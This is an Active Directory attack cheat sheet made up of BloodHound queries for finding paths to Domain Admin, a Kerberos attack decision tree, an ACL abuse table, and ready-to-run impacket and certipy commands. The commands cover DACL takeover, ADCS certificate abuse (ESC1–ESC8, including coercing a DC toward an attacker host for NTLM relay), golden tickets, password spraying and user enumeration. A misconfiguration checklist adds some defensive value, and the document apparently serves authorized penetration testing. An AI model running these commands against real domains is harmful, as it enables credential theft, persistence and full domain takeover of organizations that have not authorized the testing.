BloodHound Cypher Queries (Neo4j / BloodHound CE)
Shortest Attack Paths
-- Shortest path from any owned computer to Domain Admin
MATCH p=shortestPath((c:Computer {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p
-- Shortest path from any owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p
-- All paths from owned nodes to Domain Admin (expand search)
MATCH p=allShortestPaths((n {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
WHERE NOT n=g
RETURN p
-- Shortest path from any node to DA (non-DA owned)
MATCH (n), (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
WHERE n.owned = true AND NOT n IN nodes(shortestPath((n)-[*1..]->(g)))
MATCH p=shortestPath((n)-[*1..]->(g))
RETURN p LIMIT 10
High-Value Target Discovery
-- All Domain Admin users (including nested group membership)
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN u.name ORDER BY u.name
-- All Domain Controllers
MATCH (c:Computer)-[:MemberOf]->(g:Group {name:"DOMAIN CONTROLLERS@DOMAIN.LOCAL"})
RETURN c.name, c.operatingsystem
-- Find all computers where DA users are logged on
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
MATCH (u)-[:HasSession]->(c:Computer)
RETURN u.name, c.name, c.operatingsystem
-- Users with path to Domain Admin count (ranked)
MATCH (u:User), (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
WHERE EXISTS(shortestPath((u)-[*1..]->(g)))
RETURN u.name, u.enabled
ORDER BY u.name
Kerberoastable Accounts
-- All Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
WHERE u.enabled = true
OPTIONAL MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN u.name, u.serviceprincipalnames, p IS NOT NULL AS has_da_path
ORDER BY has_da_path DESC
-- Kerberoastable users not requiring password change
MATCH (u:User {hasspn:true, enabled:true, pwdneverexpires:true})
RETURN u.name, u.serviceprincipalnames, u.description
AS-REP Roastable Accounts
-- All users with "Do not require Kerberos preauthentication" set
MATCH (u:User {dontreqpreauth:true, enabled:true})
RETURN u.name, u.description, u.admincount
-- AS-REP roastable with path to DA
MATCH (u:User {dontreqpreauth:true, enabled:true})
OPTIONAL MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN u.name, p IS NOT NULL AS has_da_path
Unconstrained Delegation
-- Computers with unconstrained delegation (excluding DCs)
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name CONTAINS "DC"
RETURN c.name, c.operatingsystem, c.description
-- Users with unconstrained delegation
MATCH (u:User {unconstraineddelegation:true, enabled:true})
RETURN u.name, u.admincount, u.description
Constrained Delegation
-- Users with constrained delegation (check for S4U2Any)
MATCH (u:User)
WHERE u.allowedtodelegate IS NOT NULL AND u.enabled = true
RETURN u.name, u.allowedtodelegate
-- Computers with constrained delegation
MATCH (c:Computer)
WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate
ACL / ACE Abuse Paths
-- Who has GenericAll on Domain Admins group
MATCH (n)-[:GenericAll]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN n.name, labels(n)
-- Users with WriteDACL on any object (dangerous ACE)
MATCH (u:User)-[:WriteDACL]->(t)
RETURN u.name, labels(t), t.name
ORDER BY u.name
-- All objects with GenericWrite on high-value targets
MATCH (n)-[:GenericWrite]->(t)
WHERE t.admincount = true
RETURN n.name, labels(n), t.name, labels(t)
-- ForceChangePassword edges (password reset without current pw)
MATCH (n)-[:ForceChangePassword]->(u:User {enabled:true})
RETURN n.name, labels(n), u.name
-- Owned computers that can dcsync (HasDCSync)
MATCH (n)-[:DCSync]->(d:Domain)
RETURN n.name, labels(n), d.name
-- Computers where owned user has local admin
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)
RETURN u.name, c.name, c.operatingsystem
Session / Reachability
-- Find computers reachable from owned users (local admin)
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)
RETURN DISTINCT c.name, c.operatingsystem
-- Find lateral paths from any owned to any DA-session computer
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)<-[:HasSession]-(da:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN u.name, c.name, da.name
Kerberos Attack Decision Tree
Target: Active Directory Environment
│
├─ No credentials? → Try AS-REP Roasting (impacket-GetNPUsers, no auth required)
│ └─ Got hash? → hashcat -m 18200
│
├─ Got valid username + password?
│ ├─ Can enumerate SPNs? → Kerberoasting (impacket-GetUserSPNs)
│ │ └─ Got hash? → hashcat -m 13100
│ ├─ Has unconstrained delegation?
│ │ └─ Get TGTs from connections → Rubeus / mimikatz monitor
│ └─ Has constrained delegation?
│ └─ S4U2Self + S4U2Proxy → impacket-getST -spn
│
├─ Got NTLM hash (not cracked)?
│ ├─ Pass-the-Hash → impacket-psexec/wmiexec/smbexec -hashes
│ └─ Silver Ticket (if target SPN known + machine hash available)
│ → impacket-ticketer -nthash [machine hash] -spn [SPN]
│
├─ Got DA credential / krbtgt hash?
│ └─ Golden Ticket → impacket-ticketer -nthash [krbtgt hash] -domain-sid [SID]
│ → Persist for 10 years, roam any service
│
├─ Got ADCS (Certificate Services) present?
│ ├─ ESC1 (template allows SAN) → certipy req + authenticate
│ ├─ ESC4 (write on template) → certipy template + ESC1 exploit
│ ├─ ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2) → certipy req any UPN
│ └─ ESC8 (web enrollment NTLM relay) → ntlmrelayx → certipy auth
│
└─ ZeroLogon (CVE-2020-1472)?
└─ impacket zerologon → reset machine account pw → DCSync
ACE / ACL Abuse Cheatsheet
| ACE Type |
Target Object |
Exploit |
Tool |
| GenericAll |
User |
Change password / add to group |
net rpc password, impacket-dacledit |
| GenericAll |
Group |
Add any member |
net rpc group addmem |
| GenericAll |
Computer |
Configure RBCD, change msDS-AllowedToActOnBehalfOfOtherIdentity |
impacket-rbcd |
| GenericAll |
GPO |
Add computer startup script → RCE |
impacket-owneredit + GPO edit |
| GenericWrite |
User |
Write ServicePrincipalName → Kerberoast target |
impacket-addspn |
| GenericWrite |
Computer |
RBCD attack |
impacket-rbcd |
| GenericWrite |
Group |
Add member |
net rpc group addmem |
| WriteDACL |
Any |
Grant yourself GenericAll |
impacket-dacledit |
| WriteOwner |
Any |
Take ownership → WriteDACL → GenericAll |
impacket-owneredit |
| ForceChangePassword |
User |
Reset password without knowing current |
net rpc password $USER |
| AllExtendedRights |
User |
Change password + read LAPS |
net rpc password $USER |
| AllExtendedRights |
Domain |
DCSync |
impacket-secretsdump |
| DS-Replication-Get-Changes |
Domain |
DCSync (both rights needed) |
impacket-secretsdump |
| AddMember |
Group |
Add self to group |
net rpc group addmem |
| ReadLAPSPassword |
Computer |
Read local admin password |
pyLAPS / crackmapexec smb --laps |
| ReadGMSAPassword |
Service Account |
Read gMSA password blob |
gMSADumper.py |
DACL Abuse Commands
# Check current ACLs on an object
impacket-dacledit -action read -target "$TARGET_USER" \
"$DOMAIN/$ATTACKER_USER:$PASS" -dc-ip $DC_IP
# Grant GenericAll to attacker user
impacket-dacledit -action write -rights FullControl \
-target "$TARGET_OBJECT" -principal "$ATTACKER_USER" \
"$DOMAIN/$ATTACKER_USER:$PASS" -dc-ip $DC_IP
# Take ownership of object (WriteOwner)
impacket-owneredit -action write -new-owner "$ATTACKER_USER" \
-target "$TARGET_OBJECT" "$DOMAIN/$ATTACKER_USER:$PASS" -dc-ip $DC_IP
# Add member to group
net rpc group addmem "$GROUP_NAME" "$ATTACKER_USER" \
-U "$DOMAIN/$ATTACKER_USER%$PASS" -S $DC_IP
# Force password change
net rpc password "$TARGET_USER" "NewPass123!" \
-U "$DOMAIN/$ATTACKER_USER%$PASS" -S $DC_IP
ADCS ESC Attack Scenarios (ESC1–ESC8)
ESC1 — Enrollee Supplies Subject (SAN)
# Identify vulnerable templates
certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC_IP -vulnerable -stdout
# Request certificate with admin UPN in SAN
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
-template $TEMPLATE_NAME \
-upn administrator@$DOMAIN \
-dc-ip $DC_IP
# Authenticate with certificate to get NTLM hash
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
ESC2 — Any Purpose / SubCA
# Template allows Any Purpose EKU — can forge for any use
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
-template $ESC2_TEMPLATE \
-upn administrator@$DOMAIN \
-dc-ip $DC_IP
ESC3 — Enrollment Agent Abuse
# Step 1: Enroll as enrollment agent
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
-template EnrollmentAgent -dc-ip $DC_IP
# Step 2: Request cert on behalf of admin using enrollment agent cert
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
-template $TARGET_TEMPLATE \
-on-behalf-of $DOMAIN\\Administrator \
-pfx $USER.pfx -dc-ip $DC_IP
ESC4 — Template Write Permissions
# Check if we have write permissions on template
certipy template -u $USER@$DOMAIN -p $PASS \
-template $VULN_TEMPLATE -dc-ip $DC_IP
# Modify template to add ESC1 conditions (enable SAN + disable approval)
certipy template -u $USER@$DOMAIN -p $PASS \
-template $VULN_TEMPLATE -save-old -dc-ip $DC_IP
# Now exploit as ESC1
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
-template $VULN_TEMPLATE -upn administrator@$DOMAIN -dc-ip $DC_IP
# Restore original template
certipy template -u $USER@$DOMAIN -p $PASS \
-template $VULN_TEMPLATE -configuration $VULN_TEMPLATE.json -dc-ip $DC_IP
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
# CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set — any template allows SAN
certipy req -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
-template User -upn administrator@$DOMAIN -dc-ip $DC_IP
ESC7 — CA Officer/Manager Misconfig
# Approve pending certificates using CA Manager rights
certipy ca -u $USER@$DOMAIN -p $PASS -ca $CA_NAME \
-issue-request $REQUEST_ID -dc-ip $DC_IP
ESC8 — NTLM Relay to ADCS HTTP Enrollment
# Terminal 1: Start ntlmrelayx targeting CA web enrollment
impacket-ntlmrelayx -t http://$CA_HOST/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Terminal 2: Trigger NTLM auth (coerce DC to authenticate)
python3 PetitPotam.py $ATTACKER_IP $DC_IP
# Terminal 3: Authenticate with returned base64 certificate
certipy auth -pfx dc.pfx -dc-ip $DC_IP
Common Active Directory Misconfiguration Checklist
| # |
Check |
Risk |
Detection |
| 1 |
SMB Signing disabled |
NTLM relay attacks |
crackmapexec smb $SUBNET --gen-relay-list targets.txt |
| 2 |
LLMNR/NBT-NS enabled |
Credential capture via Responder |
Responder on local segment |
| 3 |
AS-REP Roastable accounts |
Offline hash cracking (no creds needed) |
impacket-GetNPUsers $DOMAIN/ -dc-ip $DC_IP |
| 4 |
Kerberoastable service accounts |
Offline hash cracking |
impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC_IP |
| 5 |
Password in description field |
Trivial credential disclosure |
BloodHound node details |
| 6 |
Unconstrained delegation computers |
TGT capture from visiting connections |
Get-ADComputer -Filter {TrustedForDelegation -eq $true} |
| 7 |
AdminSDHolder misconfiguration |
Persistent admin rights via SDProp |
Check AdminCount=1 on unexpected objects |
| 8 |
Excessive Domain Admin membership |
Blast radius of compromised DA |
BloodHound DA group count |
| 9 |
LAPS not deployed |
Common local admin password |
crackmapexec smb $TARGET --laps |
| 10 |
Password policy weak |
Brute force / password spray |
net accounts /domain |
| 11 |
stale accounts (90+ days) |
Abandoned accounts with valid creds |
Get-ADUser -Filter {LastLogonDate -lt (Get-Date).AddDays(-90)} |
| 12 |
Dangerous ACLs on users/groups |
Privilege escalation without exploits |
BloodHound ACL analysis |
| 13 |
DC not patched (ZeroLogon, Printnightmare) |
Critical pre-auth RCE/LPE |
Nmap version + CVE check |
| 14 |
ADCS misconfigured (ESC1-8) |
Certificate-based full domain compromise |
certipy find -vulnerable |
| 15 |
Trusts with SID filtering disabled |
Cross-forest escalation |
Get-ADTrust -Filter * |
| 16 |
Domain Functional Level < 2012R2 |
Missing security features |
`Get-ADDomain |
| 17 |
WDigest enabled (Windows 7/2008) |
Cleartext credential caching |
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest |
| 18 |
PrintSpooler running on DCs |
PrintNightmare, SpoolSample coercion |
Get-Service Spooler -ComputerName $DC |
| 19 |
NTLM not restricted |
Pass-the-Hash across domain |
net accounts /domain + NTLM audit event 4776 |
| 20 |
BloodHound data stale |
Missed new attack paths |
Re-run collection: bloodhound-python -c All |
Domain Recon One-Liners
# Full enum with enum4linux-ng
enum4linux-ng -A $DC_IP 2>&1 | tee evidence/enum4linux.txt
# LDAP dump (authenticated)
ldapdomaindump -u "$DOMAIN\\$USER" -p "$PASS" $DC_IP \
-o evidence/ldapdump/
# BloodHound Python collection (all methods)
bloodhound-python -u $USER -p $PASS -d $DOMAIN \
-dc $DC_FQDN -c All --zip \
-o evidence/bloodhound/
# Password spray (threshold: 1 per 30 min to avoid lockout)
crackmapexec smb $DC_IP \
-u evidence/userlist.txt \
-p 'Winter2025!' \
--continue-on-success 2>&1 | tee evidence/spray.txt
# kerbrute user enumeration (no auth, no lockout)
kerbrute userenum \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
--dc $DC_IP -d $DOMAIN \
-o evidence/valid_users.txt
# Extract domain users to file via LDAP
ldapsearch -x -H ldap://$DC_IP \
-D "$USER@$DOMAIN" -w "$PASS" \
-b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" \
"(objectClass=user)" sAMAccountName | \
grep sAMAccountName | awk '{print $2}' > evidence/users.txt